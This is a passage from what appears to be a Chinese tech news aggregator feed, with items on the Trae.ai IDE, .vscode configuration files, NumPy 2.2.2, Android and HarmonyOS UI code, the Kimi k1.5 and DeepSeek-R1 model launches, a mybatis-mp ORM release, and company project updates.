    内置的聊天功能支持你跟 AI 对话,比如“为什么这个函数报错?”“如何优雅地实现 XX 功能?”都会得到上下文相关的回答。
  4. 多模型选择
    你可以随时切换到自己喜欢的大模型,比如 GPT-4 或者 Claude,都能做代码生成和调试,一键切换,灵活度很高。
  5. 文档 & 知识库
    Trae.ai 提供类似 @Docs@Notepad 的命令,可以让 AI 帮你调取项目文档或笔记,相当于一个内置的团队知识库。
  6. 项目结构理解
    打开新项目时,Trae.ai 会索引整个代码库,能更准确地进行全局搜索和上下文分析,比如函数在哪个文件定义、组件间如何交互等。
  7. 快捷键操作
    Command + U 打开对话窗口,Command + I 唤醒内联聊天,以及其他常用操作,极大地提升了工作效率。

程序员会被取代吗?

很多同学看到这里,可能有点慌: “连产品经理都能自己搞出代码来了,那还要我这个程序员干嘛?”
实际上,AI 辅助编程虽然能替代一部分基础性、重复性的工作,但对于系统架构设计、算法优化、业务逻辑的把控这些核心环节,依然离不开专业的开发者。

  • 初级码农的压力变大:那些只会增删改查、写样板代码的初级程序员可能会面临一些挑战。但同时,AI 工具也能帮助他们快速成长。
  • 高级工程师更具价值:越是复杂的系统,越需要扎实的技术功底。AI 可以辅助写代码,但写出来是否合理、安全,需要人来把控。

所以,程序员能否被取代,更多取决于你是否懂得利用 AI 提升自己的生产力。如果能与 AI 协同工作,你的效率和产出将比传统工作模式高很多。


整个页面是这样的,对cursor是妥妥的降维打击。收费功能统统免费提供!

image.png

总结

  • Trae.ai 的到来,可以说给 AI IDE 领域又添了一把“火”。
  • 使用体验上,它融合了 VS Code 的易用性,又搭载了强大的 AI 大模型,让“写代码”这件事更加自动化、智能化。
  • 对新手和非技术背景的人来说,这是入门敲代码的好帮手;对资深程序员来说,它则是加速研发的利器。
  • 程序员岗位会不会消失?短期内肯定不会,但势必会加剧行业升级,倒逼技术人不断学习、更高效地工作。

如果你对 AI 辅助编程感兴趣,或者想看看 AI 究竟能帮你多大忙,不妨去 Trae.ai 下载试试。毕竟现在还免费支持 Claude 3.5 SonnetGPT-4o 两大模型,不趁早体验,更待何时?

兄弟们,走起!在这个 AI 时代,先摸到福利的人就先占得先机啦!

by Y11_推特同名 at January 21, 2025 02:42 AM

.vscode详细指南

.vscode 是VSCode的配置文件夹,涵盖了常见的设置、调试配置、任务配置、扩展推荐、快捷键绑定等内容。

1. settings.json

settings.json 用来配置 VS Code 编辑器的行为,包括格式化、主题、文件排除等。它的优先级比用户设置的优先级高。用户设置如下图

image.png

示例:配置代码格式化、主题和排除文件

{
  // 设置编辑器主题为 Dark+(默认黑暗主题)
  "workbench.colorTheme": "Dark+ (default dark)",

  // 配置编辑器的字体大小和行高
  "editor.fontSize": 14,
  "editor.lineHeight": 22,

  // 格式化设置:保存时自动格式化代码
  "editor.formatOnSave": true,

  // 配置缩进:使用 2 个空格作为缩进
  "editor.tabSize": 2,
  "editor.insertSpaces": true,

  // 排除不需要查看的文件和文件夹
  "files.exclude": {
    "**/.git": true,
    "**/node_modules": true,
    "**/*.log": true
  },

  // 文件类型关联:将 .js 文件识别为 JavaScript 文件
  "files.associations": {
    "*.js": "javascript"
  },

  // 启用自动导入代码
  "javascript.suggest.autoImports": true,

  // 配置 VS Code 终端
  "terminal.integrated.fontSize": 14
}

它的作用主要是统一开发人员使用VSCode的行为,笔者认为意义不大。开发人员有自己的喜好,没必要强行保持一致

2. launch.json

launch.json 用于配置调试器,以设置如何启动应用程序和调试。下面给出详细的使用示例

示例:调试 Node.js 应用

{
  "version": "0.2.0",
  "configurations": [
    {
      // 启动 Node.js 应用
      "name": "Launch Program",
      "type": "node",
      "request": "launch",
      "program": "${workspaceFolder}/app.js", // 启动的入口文件
      "skipFiles": ["<node_internals>/**"], // 跳过 Node.js 内部文件
      "outFiles": ["${workspaceFolder}/dist/**/*.js"], // 生成的 JavaScript 文件路径
      "preLaunchTask": "build", // 调试前执行的任务
      "env": {
        "NODE_ENV": "development"
      }
    },
    {
      // 附加到运行中的 Node.js 进程
      "name": "Attach to Node",
      "type": "node",
      "request": "attach",
      "port": 9229 // 连接的调试端口
    }
  ]
}

示例:调试 Python 应用

{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Python: Current File",
      "type": "python",
      "request": "launch",
      "program": "${file}",
      "console": "integratedTerminal", // 在集成终端中运行
      "env": {
        "PYTHONPATH": "${workspaceFolder}/src"
      }
    }
  ]
}

之前调试代码,开发人员需要进行配置launch.json,现在有更简单的方式。

image.png

打开终端,选择JavaScript调试终端,然后在窗口中直接执行代码,即可进入调试模式

3. tasks.json 示例

tasks.json 用于配置自定义任务,常见的如构建、测试等命令。有些小伙伴对这个功能比较陌生,实际上所有小伙伴都在使用这个功能。

image.png

点击VSCode工具栏的终端,会出现tooltip,选中运行任务

image.png

可以看到可以运行的任务,默认显示的就是项目的npm script脚本。可以编辑、新增任务,请看下面的示例

示例:构建和测试任务

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "build", // 任务标签
      "type": "shell", // 任务类型,shell 类型表示运行 shell 命令
      "command": "npm run build", // 运行的命令
      "group": {
        "kind": "build",
        "isDefault": true // 设置为默认构建任务
      }
    },
    {
      "label": "test", // 测试任务
      "type": "shell", // 运行 shell 命令
      "command": "npm test", // 运行的命令
      "group": {
        "kind": "test"
      }
    }
  ]
}

笔者认为在前端项目中,单独配置tasks的需求不是很多,不是特别重要

4. extensions.json 示例

extensions.json 用于推荐和禁用 VS Code 扩展(插件)。如果开的人员没有安装extensions.json推荐的拓展,VSCode 会提示安装拓展。

image.png

用VSCode一打开项目,右下角弹出安装拓展的通知

示例:推荐和禁用扩展

{
  // 推荐插件
  "recommendations": [
    "dbaeumer.vscode-eslint", // ESLint 插件
    "esbenp.prettier-vscode", // Prettier 插件
    "ms-python.python", // Python 插件
    "octref.vetur" // Vue.js 插件
  ],
  // 禁用插件
  "unwantedRecommendations": [
    "some.extension", // 禁用某个不需要的插件
    "another.extension"
  ]
}

笔者认为该功能非常有帮助,在前端项目中,使用ESLint做静态代码分析、用Prettier做代码格式化非常有必要

5. keybindings.json 示例

keybindings.json 用于自定义快捷键。

示例:自定义快捷键

[
  {
    "key": "ctrl+shift+b", // 自定义快捷键
    "command": "workbench.action.tasks.build" // 触发构建任务
  },
  {
    "key": "ctrl+shift+t", // 打开最近关闭的文件
    "command": "workbench.action.files.reopenClosedFile"
  },
  {
    "key": "ctrl+shift+d", // 打开调试面板
    "command": "workbench.view.debug"
  }
]

笔者认为VSCode默认的快捷键非常好用了,没必要自己自定义快捷键,容易造成快捷键冲突

6. 自定义代码片段(snippets/ 文件夹)

你可以在 .vscode/snippets/ 文件夹中创建自定义代码片段。比如,创建一个用于 JavaScript 的代码片段文件 javascript.json

示例:JavaScript 的代码片段

{
  "Log to console": {
    "prefix": "log", // 触发代码片段的快捷方式
    "body": [
      "console.log('$1');" // 代码片段的内容
    ],
    "description": "Log output to console" // 代码片段的描述
  },
  "Arrow function": {
    "prefix": "af", // 触发快捷方式
    "body": ["const $1 = ($2) => {", "\t$3", "};"],
    "description": "Create an arrow function"
  }
}

如果使用GitHub Copilot之类的拓展,实际上没必要再关注snippets

总结

以下是对 .vscode 文件夹中常见配置文件的总结:

  • settings.json:配置编辑器行为、主题、文件排除、代码格式化等。
  • launch.json:配置调试器,设置如何启动和附加调试程序。
  • tasks.json:定义自定义任务(如构建、测试等)并设置快捷方式。
  • extensions.json:推荐和禁用扩展,帮助团队保持一致的开发环境。
  • keybindings.json:自定义快捷键,简化工作流程。
  • snippets/:保存自定义的代码片段,提高编码效率。

这些配置文件能够大大提升你的工作效率,尤其是在团队开发环境中,确保项目的一致性和高效性。

by 至简_ at January 21, 2025 02:36 AM

oschina news project

NumPy 2.2.2 发布

NumPy 2.2.2 现已发布,这是一个补丁版本。修复了 2.2.1 发布后发现的错误,修复/更新的类型数量显著。该版本支持 Python 3.10-3.13 版本。

此版本共合并了 16 个拉取请求。

  • #28050:MAINT:为进一步开发 2.2.x 做准备
  • #28055:TYP:修复__setitem__中的void数组不接受str键的问题
  • #28066:TYP:修复不必要的 broadintegerbinop 返回类型(#28065
  • #28112:TYP:改进float64&...的ndarraybinop 返回类型
  • #28113:TYP:从issubdtype返回正确的bool
  • #28114:TYP:在datetime64构造函数中始终接受date[time]
  • #28120:BUG:修复 ufunc slow path 中的 auxdata 初始化问题
  • #28131:BUG:将 reduction initialization 移至 ufunc initialization
  • #28132:TYP:修复interp接受和返回 scalars 的问题
  • #28137:BUG:在 f2py 中调用 PyType_Ready 以避免数据竞争
  • #28145:BUG:删除对 PyArray_UpdateFlags 不必要的调用
  • #28160:BUG:避免 PyArray_CheckFromAny_int 中的数据竞争
  • #28175:BUG:修复 f2py 指令和 --lower casing
  • #28176:TYP:修复 2->1 ufuncs 中的 overlapping overloads 问题
  • #28177:TYP:在 ndarray.astype() 中保留 shape-type
  • #28178:TYP:修复缺失和虚假的 top-level exports 问题

更新说明:https://github.com/numpy/numpy/releases/tag/v2.2.2

by 来源: OSCHINA at January 21, 2025 02:31 AM

juejin android

Android开发类似呼吸心跳动画效果

Android开发类似呼吸心跳动画效果

呼吸心跳动画一般用在礼物,红包图片上面,吸引用户点击

一、思路:

用ScaleAnimation实现放大缩小动画

二、效果图:

在这里插入图片描述图片不会动,那看下面视频效果

[video(video-jS8gj1OP-1728438204674)(type-bilibili)(url-player.bilibili.com/player.html…)]

三、关键代码:
public class MainActivity extends AppCompatActivity {

    private ImageView ivGift;
    private ScaleAnimation mAnimation;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        ivGift = findViewById(R.id.iv_gift);

        if (mAnimation == null) {
            ScaleAnimation scaleAnimation = new ScaleAnimation(1, 0.8f, 1, 0.8f, Animation.RELATIVE_TO_SELF, 0.5f, Animation.RELATIVE_TO_SELF, 0.5f);
            scaleAnimation.setDuration(500);
四、项目demo源码结构图:

在这里插入图片描述

有问题或者需要完整源码的私信我

by 893151960 at January 21, 2025 02:29 AM

鸿蒙开发仿微信长按录音效果

鸿蒙开发仿微信长按录音效果

如果你项目有IM聊天,那么长按录音功能是必须的,最好是跟微信一样的效果,对不对。

一、思路:

自定义触碰事件

二、效果图:

在这里插入图片描述

三、关键代码:

@Entry
@Component
struct Index {
  
  // 录音聊天声音
  static readonly MAX_AMPLITUDE: number = 15000;
  static readonly MIN_AMPLITUDE: number = 1500;
  static readonly COLUMN_HEIGHT: number = 100;
  static readonly HEIGHT_MIN: number = 60;

  // 播放语音的播放器
  // 区分语音还是文字输入状态
  @State isVoiceInput:boolean = false
  microphonePermissions: Permissions = 'ohos.permission.MICROPHONE';
  hasMicrophonePermissions:boolean = false
  // 是否正在请求麦克风权限
  isRequestMicrophonePermissions:boolean = false
  // Column高度最大值,用于长按是声音的振幅
  @State yMax: number = 0;
  // Column高度最小值
  @State yMin: number = 0;
  // 声音文件名称,不能重复,否则播放自己本地语音,只会播放最后一条
  voiceName:string = ''
  // 当前录音时间,用于录制到50s后倒计时
  currentRecordVoiceTime:number = 0
  @State countDownVoiceText:string = ''
  maxMicVolumeCountId: number = 0
  // 开始录制时的时间戳
  audioTapTs: number = 0;
  audioFile: fs.File | null = null;
  // 创建音频录制与播放实例
  avPlayer?:media.AVPlayer
  @State voicePlayState: AnimationStatus = AnimationStatus.Initial
  @State voicePlayMessageId:number = 0
  // 按住说话 录音模态
  @State
  showTalkContainer: boolean = false
  // 长按状态
  @State
  pressCancelVoicePostText: PressCancelVoicePostText = PressCancelVoicePostText.none
  // “x ”的坐标
  xScreenOffset: ScreenOffset = {
    x: 0,
    y: 0,
    width: 0,
    height: 0
  }

  // 按住说话 持续触发
  onPressTalk = async (event: TouchEvent) => {
    if (event.type === TouchType.Down) {
      this.currentRecordVoiceTime = 0
      this.countDownVoiceText = ''
      PermissionUtil.checkPermissions(this.microphonePermissions).then((result:boolean) => {
        if (result) {
          // 有权限
          this.hasMicrophonePermissions = true
          this.isRequestMicrophonePermissions = false
          // 手指按下时触发
          this.pressCancelVoicePostText = PressCancelVoicePostText.presssing
          // 按下
          this.showTalkContainer = true
          //  开始录音
          this.startRecordVoice()
        } else {
          this.isRequestMicrophonePermissions = true
          // 问麦克风权限
          PermissionUtil.requestPermissionsEasy(this.microphonePermissions).then((result:boolean)=>{
            if (result) {
              // 有权限
              this.hasMicrophonePermissions = true
              // 这里先不录,因为用户放开手去点击允许权限了
              //this.startRecordVoice()
            } else {
              this.hasMicrophonePermissions = false
            }
          })
        }
      })


    } else if (event.type === TouchType.Move) {
      if (this.hasMicrophonePermissions && !this.isRequestMicrophonePermissions) {
        // 手指移动时持续触发
        this.pressCancelVoicePostText = PressCancelVoicePostText.presssing
        // 获取当前手指的坐标
        const x = event.touches[0].displayX
        const y = event.touches[0].displayY
        // 判断是否碰到了 “X”
        let isTouchX = this.xScreenOffset.x <= x && this.xScreenOffset.x + this.xScreenOffset.width >= x &&
          this.xScreenOffset.y <= y && this.xScreenOffset.y + this.xScreenOffset.width >= y

        if (isTouchX) {
          // 取消发送
          this.pressCancelVoicePostText = PressCancelVoicePostText.cancelVoice
        }
      }

    } else if (event.type === TouchType.Up) {
      // 松开手
      if (this.showTalkContainer) {
        this.showTalkContainer = false
        clearInterval(this.maxMicVolumeCountId)
        animateTo({ duration: 0 }, () => {
          this.yMax = 0
          this.yMin = 0
        })
        if (this.hasMicrophonePermissions && !this.isRequestMicrophonePermissions) {
          if (this.pressCancelVoicePostText === PressCancelVoicePostText.cancelVoice) {
            // 取消发送
            AudioRecorder.getInstance().stopRecordingProcess()
          } else {
            // 发送录音
            this.recordAudioEndAndSendMessage()
          }
        }
      }
    }
  }

  /**
   * @desc : 开始录音
   * @author : congge on 2024-09-05 17:11
   **/
  startRecordVoice(){
    // 获取时间戳
    this.voiceName = Date.now().toString()
    this.recordAudioStart(this.voiceName)
    // 每隔100ms获取一次振幅
    this.maxMicVolumeCountId = setInterval(() => {
      AudioRecorder.getInstance().avRecorder?.getAudioCapturerMaxAmplitude((_: BusinessError, amplitude: number) => {
        let maxNumber: number = 0 // Column最大高度
        let minNumber: number = 0 // Column最小高度
        if (amplitude > Index.MIN_AMPLITUDE) {
          maxNumber = amplitude / Index.MAX_AMPLITUDE * Index.COLUMN_HEIGHT
          minNumber = amplitude / Index.MAX_AMPLITUDE * Index.COLUMN_HEIGHT - Index.HEIGHT_MIN
        }
        if (this.showTalkContainer) {
          animateTo({ duration: 500, curve: Curve.EaseInOut }, () => {
            this.yMax = maxNumber
            this.yMin = minNumber

          })
        }
      })
      this.currentRecordVoiceTime = this.currentRecordVoiceTime + 0.1;
      if (this.currentRecordVoiceTime >= 60){
        this.showTalkContainer = false
        clearInterval(this.maxMicVolumeCountId)
        animateTo({ duration: 0 }, () => {
          this.yMax = 0
          this.yMin = 0
        })
        this.recordAudioEndAndSendMessage()
      } else if (this.currentRecordVoiceTime > 50) {
        this.countDownVoiceText = `${Math.floor(60-this.currentRecordVoiceTime)}`
      } else {
        this.countDownVoiceText = ''
      }
    }, 100);
  }

  private async recordAudioStart(name:string) {
    this.audioTapTs = Date.now();
    let fdStr = "fd://" + this.getAudioFileFd(name);
    await AudioRecorder.getInstance().startRecordingProcess(fdStr);
  }

  private getAudioPath(name:string): string {
    let audioDir = getContext().filesDir;
    let audioPath = audioDir +"/"+name+ ".aac";
    return audioPath;
  }

  private getAudioFileFd(name:string): number {
    let audioPath = this.getAudioPath(name);
    let file = fs.openSync(audioPath, fs.OpenMode.READ_WRITE | fs.OpenMode.CREATE);
    this.audioFile = file;
    return file.fd;
  }

  /**
   * @desc : 录制结束并且发送消息
   * @author : congge on 2024-09-07 10:11
   **/
  private async recordAudioEndAndSendMessage() {
    let delta = 0;
    if (this.audioTapTs > 0) {
      delta = (Date.now() - this.audioTapTs)/ 1000;
      delta = Math.floor(delta)
    }
    await AudioRecorder.getInstance().stopRecordingProcess();
    if (delta >= 1) {
      if (delta > 60) {
        showToast($r('app.string.rc_voice_too_long'))
      } else {
        fs.close(this.audioFile);
        // 发送语音消息
        //ImUtils.sendVoiceMessage(this.targetId,this.getAudioPath(this.voiceName),delta)
      }
    } else {
      showToast($r('app.string.rc_voice_short'))
    }
  }

  // 正在说话 页面布局
  @Builder
  TalkContainerBuilder() {
    Column() {
      //   1 中心的提示   显示波浪线
      Column() {
        // 声纹
        ButtonWithWaterRipples({ yMax: this.yMax, yMin: this.yMin });
        if (this.countDownVoiceText){
          Text(`${this.countDownVoiceText}"后将停止录音`)
            .fontColor('#ffffff')
            .margin({
              top:10
            })
        }
      }
      .height(80)
      .width("50%")
      .backgroundColor(this.pressCancelVoicePostText === PressCancelVoicePostText.cancelVoice ? Color.Red : "#95EC6A")
      .position({
        top: "40%",
        left: "50%"
      })
      .translate({
        x: "-50%"
      })
      .borderRadius(10)
      .justifyContent(FlexAlign.Center)
      .alignItems(HorizontalAlign.Center)

      //   2 取消和转文字
      Column({space:30}) {

        // 3  松开发送
        Text(this.pressCancelVoicePostText === PressCancelVoicePostText.cancelVoice ? '取消发送' : "松开发送")
          .fontColor("#fff")
          .width("100%")
          .textAlign(TextAlign.Center)

        Text("X")
          .fontSize(20)
          .width(60)
          .height(60)
          .borderRadius(30)
          .fontColor(this.pressCancelVoicePostText === PressCancelVoicePostText.cancelVoice ? "#000" : "#ccc")
          .backgroundColor(this.pressCancelVoicePostText === PressCancelVoicePostText.cancelVoice ? "#fff" : "#333")
          .textAlign(TextAlign.Center)
          .align(Alignment.Center)
          .fontColor("#ccc")
          .id("aabb")
          .onAppear(() => {
            let modePosition: componentUtils.ComponentInfo = componentUtils.getRectangleById("aabb");
            this.xScreenOffset.x = px2vp(modePosition.screenOffset.x)
            this.xScreenOffset.y = px2vp(modePosition.screenOffset.y)
            this.xScreenOffset.width = px2vp(modePosition.size.width)
            this.xScreenOffset.height = px2vp(modePosition.size.height)
          })
      }
      .width("100%")
      .position({
        bottom: "23%"
      })
      .padding({
        left: 60, right: 60
      })

      //   4 底部白色大球
      Row() {

      }
      .width(600)
      .height(600)
      .backgroundColor("#fff")
      .position({
        bottom: 0,
        left: "50%"
      })
      .translate({
        x: "-50%",
        y: "70%"
      })
      .borderRadius("50%")

    }
    .width("100%")
    .height("100%")
    .backgroundColor("rgba(0,0,0,0.5)")
  }

  build() {
    RelativeContainer() {
      Text($r("app.string.voice_record_dynamic_effect_button"))
        .height(40)
        .width('100%')
        .borderRadius(20)
        .focusable(true)
        .textAlign(TextAlign.Center)
        .backgroundColor('#F1F3F5')
        .fontColor(Color.Black)
        .bindContentCover($$this.showTalkContainer, this.TalkContainerBuilder,
          { modalTransition: ModalTransition.NONE })
        .onTouch(this.onPressTalk)
        .alignRules({
          bottom: { anchor: '__container__', align: VerticalAlign.Bottom },
          middle: { anchor: '__container__', align: HorizontalAlign.Center }
        })
    }
    .height('100%')
    .width('100%')
  }
}
四、项目demo源码结构图:

在这里插入图片描述
有问题或者需要完整源码的私信我

by 893151960 at January 21, 2025 02:26 AM

oschina news industry

Kimi 全新 SOTA 模型 —— k1.5 多模态思考模型来了

月之暗面正式发布 Kimi 全新 SOTA 模型:k1.5 多模态思考模型,同时首次公开模型训练技术报告。

据官方介绍,从基准测试成绩看,k1.5 多模态思考模型实现了 SOTA(state-of-the-art)级别的多模态推理和通用推理能力。

在 short-CoT 模式下,Kimi k1.5 的数学、代码、视觉多模态和通用能力,大幅超越了全球范围内短思考 SOTA 模型 GPT-4o 和 Claude 3.5 Sonnet 的水平,领先达到 550%。

而在 long-CoT 模式下,Kimi k1.5 的数学、代码、多模态推理能力,也达到长思考 SOTA 模型 OpenAI o1 正式版的水平。

这应该是全球范围内,OpenAI 之外的公司首次实现 o1 正式版的多模态推理性能。Kimi 团队也表示,2025 年,Kimi 会继续沿着路线图,加速升级 k 系列强化学习模型,带来更多模态、更多领域的能力和更强的通用能力。

k1.5 多模态思考模型的预览版将陆续灰度上线 Kimi.com 网站和最新版本的 Kimi 智能助手 app。如果你发现了如下图所示的模型切换按钮,就可以尝试用起来了。

详情:https://mp.weixin.qq.com/s/BmOKGKjXP2tjmPyNdU0Hqg

by 来源: OSCHINA at January 21, 2025 02:16 AM

oschina news project

🔥 mybatis-mp 一款好用 ORM 框架 1.7.9 正式发布,绝对好用!!!

1.7.9-RC10 更新内容:

  • 1:调整了 update (实体类) 多租户、逻辑删除的条件顺序,id 条件放在前面
  • 2:增加了 join/innerJoin/leftJoin/rightJoin 方法:.innerJoin(SysUser::getRoleId, SysRole::getId)
  • 3:增加数据库 groupConcat 函数方法
  • 4:适配 sqlite 数据库
  • 5:适配 openGauss 数据库
  • 6:代码生成器增加字段字段名类 Fields 生成(用于 vo/Fetch 等注解中引用)
  • 7:修复 in/notIn 使用 Set 参数报错问题
  • 8:增加新增 / 批量新增忽略重复时忽略或者修改的功能
  • 9:兼容低版本 oracle 和 sqlserver 数据库
  • 10:调整默认值函数,增加实体类参数
  • 11:修复 between when 未前置判断问题
  • 12:修复 @ResultEntityField (storey=2) 时,异常问题
  • 13:优化 join,增加了 join/innerJoin/leftJoin/rightJoin 方法:.innerJoin(SysUser::getRoleId, SysRole::getId,on->on.eq(xxx,1)
  • 14:增加数据库分表功能

 分表配置


@Data
@SplitTable(SysUserSplitter.class)
public class SysUser {

    @TableId
    private Integer id;

    @SplitTableKey
    private Integer groupId;

    private String nickname;

    private String username;
}
public class SysUserSplitter implements TableSplitter {

    @Override
    public boolean support(Class<?> type) {
        return type == Integer.class || type == int.class;
    }

    @Override
    public String split(String sourceTableName, Object splitValue) {
        Integer groupId = (Integer) splitValue;
        //分成10个表
        return sourceTableName + "_" + groupId % 10;
    }
}

分表就是这么简单,其他操作和常规无异!!!

1.7.7 更新内容:

  • 1:QueryChain,DeleteChain,InsertChain,UpdateChain 支持 BasicMapper 方法
  • 2:支持通用 BasicMapper,可不需要创建多个实体类 Mapper;一个 BasicMapper 即可使用所有功能
  • 3:正式支持单 Mapper (写一个 Mapper 即可)

为什么推荐 mybatis-mp ?:

mybatis-mp 是一款超级强大的 ORM 框架

1:可多表 join(不再只能单表了)

2:代码分页,xml 还可以分页(可以不用 pagehelper 了)

3:良好的扩展能力:orm+sql 模板 (让 ORM 框架不再死板,扩展性极强)

4:强大的各种数据库适配,可在一套代码中 实现多个数据库适配;真正的 ORM hibernate 都做不到

6:极简的 api 设计,让开发者 不再迷糊

 1. 单表 +@Fetch 注解 + fetchFilter 方法

@Data
@ResultEntity(SysUser.class) public class SysUserVo {

    private Integer id;

    private String userName;

    private String password;

    private Integer roleId;

    private LocalDateTime create_time;

    @Fetch(source = SysUser.class, property = "roleId", target = SysRole.class, targetProperty = "id")
    private List<SysRoleVo> sysRoles;

}
List<SysUserVO> list = QueryChain.of(sysUserMapper)
        .from(SysUser.class)
        .fetchFilter(SysUserVO::getRoles,where->where.eq(SysRole::getStatus,1))
        .returnType(SysUserVO.class)
        .list();

fetchFilter 方法是对 @Fetch 注解的增强,没有特殊要求一般,可忽略

2. 单表查询

SysUser sysUser = QueryChain.of(sysUserMapper)
        .eq(SysUser::getId, 1)
        .eq(SysUser::getUserName,'admin')
        .get();

3.VO 映射

@Data
@ResultEntity(SysUser.class)
public class SysUserVo {

    private Integer id;

    private String userName;

    //字段名字不一样时
    @ResultEntityField(property = "password")
    private String pwd;

}
SysUserVO sysUserVO = QueryChain.of(sysUserMapper)
        .eq(SysUser::getId, 1)
        .eq(SysUser::getUserName,'admin')
        .returnType(SysUserVO.class)
        .list();

4. join 查询

@Data
@ResultEntity(SysUser.class)
public class SysUserVo {

    private Integer id;

    private String userName;

    //字段名字不一样时
    @ResultEntityField(property = "password")
    private String pwd;
    
    //映射一个对象 1对1
    @NestedResultEntity(target = SysRole.class)
    prviate SysRole sysRole;
    
    //映射多个对象 1对多
    @NestedResultEntity(target = SysRole.class)
    prviate List<SysRole> sysRoles;

}
List<SysUserRoleVO> list = QueryChain.of(sysUserMapper)
        .from(SysUser.class)
        .join(SysUser.class, SysRole.class)
        .returnType(SysUserRoleVO.class)
        .list();

还有很多很多超级方便有趣的写法,欢迎大家来使用 https://mybatis-mp.cn

例如:

1 . 多表 join A 内嵌 B B 内嵌 C 都可以

2 . 不使用 join 使用 @Fetch 注解 + fetchFilter 方法实现 将 A JOIN B 变成 query A + query B

3 . 使用 @Paging 注解 实现你的 xml 自动分页

4 . 使用 SQL 模板,让你 ORM 更简单更容易扩展,再也不怕被框架限制了

by 来源: 投稿 at January 21, 2025 02:12 AM

oschina news industry

2025 年,您好!开放签电子签章年度总结

2024年,拜拜!

2023年12月15日,我们团队以“开放签”品牌重返电子签章行业,并在 Gitee、GitHub 平台发布了首版产品代码。当时的初心是让企业低门槛的方式用起来电子签章,秉承开放共享这一价值观,希望能够为产品与用户之间带来更多信任。

过去一年,开放签得到了一些关注,感谢科技博主和自媒体朋友们的积极转发与宣传,也感谢多位贡献者在开源、法律、技术等方面的大力支持。这一年中,我们成果斐然且惊喜连连,开源市场中仓库star总量突破千,代码下载量2000+次,用户更新代码量7000+次,近百家用户将开源产品集成至自身业务系统,涵盖场景有行政办公用章流程、人力资源场景、建筑工程用章场景、电子处方单场景、家政服务场景、法律纠纷调解场景等等,更有些软件厂商开发成独立的小程序上线推广。

更让我们惊喜的是,多家事业单位和国企选择了我们的商业版产品,这些大客户主动联系并信任我们,实属意外之喜。总体来说,我们今年是受益于开源,未来我们会持续回馈给开源,计划在春节后开源一版企业版电子签章系统,让开源用户轻松搭建电子签章应用。

回顾这一年,我们也存在不足。曾有一段时间未能及时维护更新开源仓库代码;产品功能设计未充分贴合用户实际场景与体验;系统部署在基础环境兼容度和操作友好性方面也有待提升。针对这些问题,我们团队会深入反思总结,然后作出规划改进。

展望明年,我们将在以下几方面持续努力:

  1. 树立我们的品牌形象,传达我们产品价值主张,积极参与开源活动,进一步缩短产品与用户之间的信任;
  2. 持续更新开源仓库的电子签章相关接口和能力,开放企业版电子签章系统仓库;
  3. 优化迭代系统的操作流程和功能,简化用户使用和集成;
  4. 兼容更多国产化环境和基础开发环境;
  5. 探索与AI大模型的应用场景,如功能操作、系统集成、交付环节等;
  6. 增强系统各环节的安全机制,让大家用起来更安全更合规;

请大家拭目以待并继续支持我们,我们将为大家带来更优质的使用体验和应用。最后,祝大家在新的一年里工作顺利、蛇年吉祥,万事如意!

我们开放签团队放假时间为:2025年1月25日起至2025年2月4日止,大年初八上班,在此期间我团队将安排值班人员,有任何问题都可与我们联系。

by 来源: 投稿 at January 21, 2025 02:10 AM

DeepSeek-R1 发布,性能对标 OpenAI o1 正式版

DeepSeek-R1 发布并同步开源模型权重。

  • DeepSeek-R1 遵循 MIT License,允许用户通过蒸馏技术借助 R1 训练其他模型。
  • DeepSeek-R1 上线API,对用户开放思维链输出,通过设置 model='deepseek-reasoner' 即可调用。
  • DeepSeek 官网与 App 即日起同步更新上线。

性能对齐OpenAI-o1正式版

DeepSeek-R1 在后训练阶段大规模使用了强化学习技术,在仅有极少标注数据的情况下,极大提升了模型推理能力。在数学、代码、自然语言推理等任务上,性能比肩 OpenAI o1 正式版。

蒸馏小模型超越 OpenAI o1-mini

在开源 DeepSeek-R1-Zero 和 DeepSeek-R1 两个 660B 模型的同时,通过 DeepSeek-R1 的输出,蒸馏了 6 个小模型开源给社区,其中 32B 和 70B 模型在多项能力上实现了对标 OpenAI o1-mini 的效果。

在发布并开源 R1 的同时,项目团队同步在协议授权层面也进行了如下调整:

  • 模型开源 License 统一使用 MIT。开源仓库(包括模型权重)统一采用标准化、宽松的 MIT License,完全开源,不限制商用,无需申请。

  • 产品协议明确可“模型蒸馏”。为了进一步促进技术的开源和共享,决定支持用户进行“模型蒸馏”。目前已更新线上产品的用户协议,明确允许用户利用模型输出、通过模型蒸馏等方式训练其他模型。

DeepSeek-R1 API 服务定价为每百万输入 tokens 1 元(缓存命中)/ 4 元(缓存未命中),每百万输出 tokens 16 元

详细的 API 调用指南可参考官方文档:https://api-docs.deepseek.com/zh-cn/guides/reasoning_model

by 来源: OSCHINA at January 21, 2025 02:08 AM

juejin article

澳华集团CRM项目启动会顺利举行,开启数字化转型新篇章

1月13日,高端动物营养配方创领者-深圳市澳华集团股份有限公司(以下简称“澳华集团”)CRM项目启动会在深圳南山顺利举行。澳华集团董事长王平川、副总裁邓登、营销中心助理总裁喻明波,以及纷享销客中南战区交付总经理徐延涛、深圳分公司总经理杨小会、方案中心应用专家刘蕊娇等双方项目团队共50人出席启动会。

公众1.png

<启动会图片>

会上,「澳华集团营销中心及项目负责人张静」表示,澳华集团的数字化转型之路并非一蹴而就,尤其在合作伙伴的选择上,也是经过长期考察和深思熟虑的选择。此次与纷享销客的合作,是基于其在行业内的权威性和全面数字化解决方案的能力。项目的目标是建立大客户经营平台,通过数据驱动和工具应用,提升客户管理能力和业务运营效率,实现业务的持续增长和竞争力的提升。

「纷享销客方案中心应用专家刘蕊娇」在讲话中表示,澳华集团CRM的建设目标是对标先进企业,聚焦以下营销数字化建设重点:

1. 对齐集团战略发展要求和管理体系,结合顶层架构设计,建立自有客户信息平台及完整的客户数据库支撑客户经营能力(大客户+示范户的精细化经营与画像能力),实现澳华集团“价值经营”底盘的构建;

2. 构建团队业务经营能力和聚焦品客对焦系统作战平台;

3. 为澳华集团跨部门经营提供高效协作工具,构建数据经营价值管理平台,并通过多系统协同联动能力支撑前端业务、提升数据看板与洞察协同效率、实现业务流程数字化和精细化管理。

